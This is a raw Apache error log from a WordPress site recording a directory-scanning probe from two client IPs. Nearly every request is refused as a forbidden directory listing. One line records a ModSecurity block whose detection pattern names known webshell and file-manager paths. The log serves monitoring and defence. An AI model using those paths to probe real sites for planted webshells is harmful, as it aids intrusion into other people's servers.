[Wed Feb 11 19:51:02.290106 2026] [autoindex:error] [pid 22570:tid 22608] [client 194.5.82.36:42851] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:51:06.093434 2026] [autoindex:error] [pid 22570:tid 22622] [client 194.5.82.36:42851] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/modern/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:51:06.194828 2026] [autoindex:error] [pid 22570:tid 22614] [client 194.5.82.36:42851] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:51:08.291930 2026] [autoindex:error] [pid 22570:tid 22608] [client 194.5.82.36:42851] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:51:08.395161 2026] [autoindex:error] [pid 22570:tid 22621] [client 194.5.82.36:42851] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:51:10.381656 2026] [autoindex:error] [pid 22570:tid 22622] [client 194.5.82.36:42851] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:51:12.583206 2026] [autoindex:error] [pid 22570:tid 22602] [client 194.5.82.36:42851] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:51:14.492096 2026] [autoindex:error] [pid 22570:tid 22605] [client 194.5.82.36:42851] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/midnight/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:51:14.587526 2026] [autoindex:error] [pid 22570:tid 22600] [client 194.5.82.36:42851] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:51:14.683656 2026] [autoindex:error] [pid 22570:tid 22603] [client 194.5.82.36:42851] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:51:16.681368 2026] [autoindex:error] [pid 22570:tid 22616] [client 194.5.82.36:42851] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:51:22.090332 2026] [autoindex:error] [pid 22570:tid 22607] [client 194.5.82.36:42851] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/smilies/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:51:22.192626 2026] [autoindex:error] [pid 22570:tid 22610] [client 194.5.82.36:42851] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:51:23.990122 2026] [autoindex:error] [pid 22570:tid 22606] [client 194.5.82.36:42851] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/Diff/Renderer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:51:24.093852 2026] [autoindex:error] [pid 22570:tid 22617] [client 194.5.82.36:42851] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:51:26.099206 2026] [autoindex:error] [pid 22570:tid 22612] [client 194.5.82.36:42851] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Requests/library/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:51:29.896246 2026] [autoindex:error] [pid 22570:tid 22610] [client 194.5.82.36:42851] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/ectoplasm/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:51:31.795123 2026] [autoindex:error] [pid 22570:tid 22606] [client 194.5.82.36:42851] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:51:35.487122 2026] [autoindex:error] [pid 22570:tid 22621] [client 194.5.82.36:42851] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/php-compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:51:37.773647 2026] [autoindex:error] [pid 22570:tid 22601] [client 194.5.82.36:42851] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/rest-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:51:37.980716 2026] [autoindex:error] [pid 22570:tid 22610] [client 194.5.82.36:42851] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/media/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:51:38.086451 2026] [autoindex:error] [pid 22570:tid 22607] [client 194.5.82.36:42851] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/block-patterns/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:51:40.080873 2026] [autoindex:error] [pid 22570:tid 22615] [client 194.5.82.36:42851] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/rest-api/endpoints/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:51:40.196278 2026] [autoindex:error] [pid 22570:tid 22603] [client 194.5.82.36:42851] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/plugins/compat3x/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:51:40.383749 2026] [autoindex:error] [pid 22570:tid 22616] [client 194.5.82.36:42851] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sodium_compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:51:40.496330 2026] [autoindex:error] [pid 22570:tid 22600] [client 194.5.82.36:42851] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/Diff/Engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:51:40.774317 2026] [autoindex:error] [pid 22570:tid 22612] [client 194.5.82.36:42851] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:51:40.883558 2026] [autoindex:error] [pid 22570:tid 22619] [client 194.5.82.36:42851] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:51:42.680563 2026] [autoindex:error] [pid 22570:tid 22608] [client 194.5.82.36:42851] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:51:44.677489 2026] [autoindex:error] [pid 22570:tid 22601] [client 194.5.82.36:42851] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/swfupload/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:51:48.385352 2026] [autoindex:error] [pid 22570:tid 22606] [client 194.5.82.36:42851] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/style-engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:51:48.506338 2026] [autoindex:error] [pid 22570:tid 22609] [client 194.5.82.36:42851] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:51:48.688153 2026] [autoindex:error] [pid 22570:tid 22612] [client 194.5.82.36:42851] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/rest-api/fields/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:51:50.489424 2026] [autoindex:error] [pid 22570:tid 22621] [client 194.5.82.36:42851] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:51:57.489168 2026] [autoindex:error] [pid 22570:tid 22614] [client 194.5.82.36:42851] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/coffee/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:51:57.583756 2026] [:error] [pid 22570:tid 22601] [client 194.5.82.36:42851] [client 194.5.82.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/tinyfilemanager"] [unique_id "aYxtXSE5uSe043FXwQpulAAAAcE"]
[Wed Feb 11 19:52:06.280539 2026] [autoindex:error] [pid 22537:tid 22546] [client 194.5.82.28:28679] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/themes/inlite/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:52:06.390268 2026] [autoindex:error] [pid 22537:tid 22550] [client 194.5.82.28:28679] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Requests/src/Auth/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:52:11.789284 2026] [autoindex:error] [pid 22537:tid 22545] [client 194.5.82.28:28679] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/block/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:52:13.882654 2026] [autoindex:error] [pid 22537:tid 22548] [client 194.5.82.28:28679] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/sunrise/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:52:15.786047 2026] [autoindex:error] [pid 22537:tid 22542] [client 194.5.82.28:28679] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:52:21.183363 2026] [autoindex:error] [pid 22537:tid 22541] [client 194.5.82.28:28679] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/light/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:52:21.381197 2026] [autoindex:error] [pid 22537:tid 22554] [client 194.5.82.28:28679] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/imgareaselect/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:52:25.175255 2026] [autoindex:error] [pid 22537:tid 22561] [client 194.5.82.28:28679] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/site-logo/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:52:26.989114 2026] [autoindex:error] [pid 22537:tid 22557] [client 194.5.82.28:28679] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/mediaelement/renderers/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:52:29.091239 2026] [autoindex:error] [pid 22537:tid 22563] [client 194.5.82.28:28679] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/calendar/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:52:38.090437 2026] [autoindex:error] [pid 22537:tid 22539] [client 194.5.82.28:28679] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:52:39.982836 2026] [autoindex:error] [pid 22537:tid 22562] [client 194.5.82.28:28679] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/skins/lightgray/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:52:40.087913 2026] [autoindex:error] [pid 22537:tid 22540] [client 194.5.82.28:28679] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/thickbox/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:52:40.187594 2026] [autoindex:error] [pid 22537:tid 22546] [client 194.5.82.28:28679] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/post-author/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:52:47.485952 2026] [autoindex:error] [pid 22537:tid 22539] [client 194.5.82.28:28679] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/utils/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:52:49.491580 2026] [autoindex:error] [pid 22537:tid 22547] [client 194.5.82.28:28679] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/freeform/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:52:49.595598 2026] [autoindex:error] [pid 22537:tid 22562] [client 194.5.82.28:28679] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/jcrop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:52:49.772185 2026] [autoindex:error] [pid 22537:tid 22540] [client 194.5.82.28:28679] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/dist/development/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:52:51.680378 2026] [autoindex:error] [pid 22537:tid 22552] [client 194.5.82.28:28679] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:52:53.674524 2026] [autoindex:error] [pid 22537:tid 22554] [client 194.5.82.28:28679] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/dist/edit-widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:52:53.787025 2026] [autoindex:error] [pid 22537:tid 22556] [client 194.5.82.28:28679] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/group/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
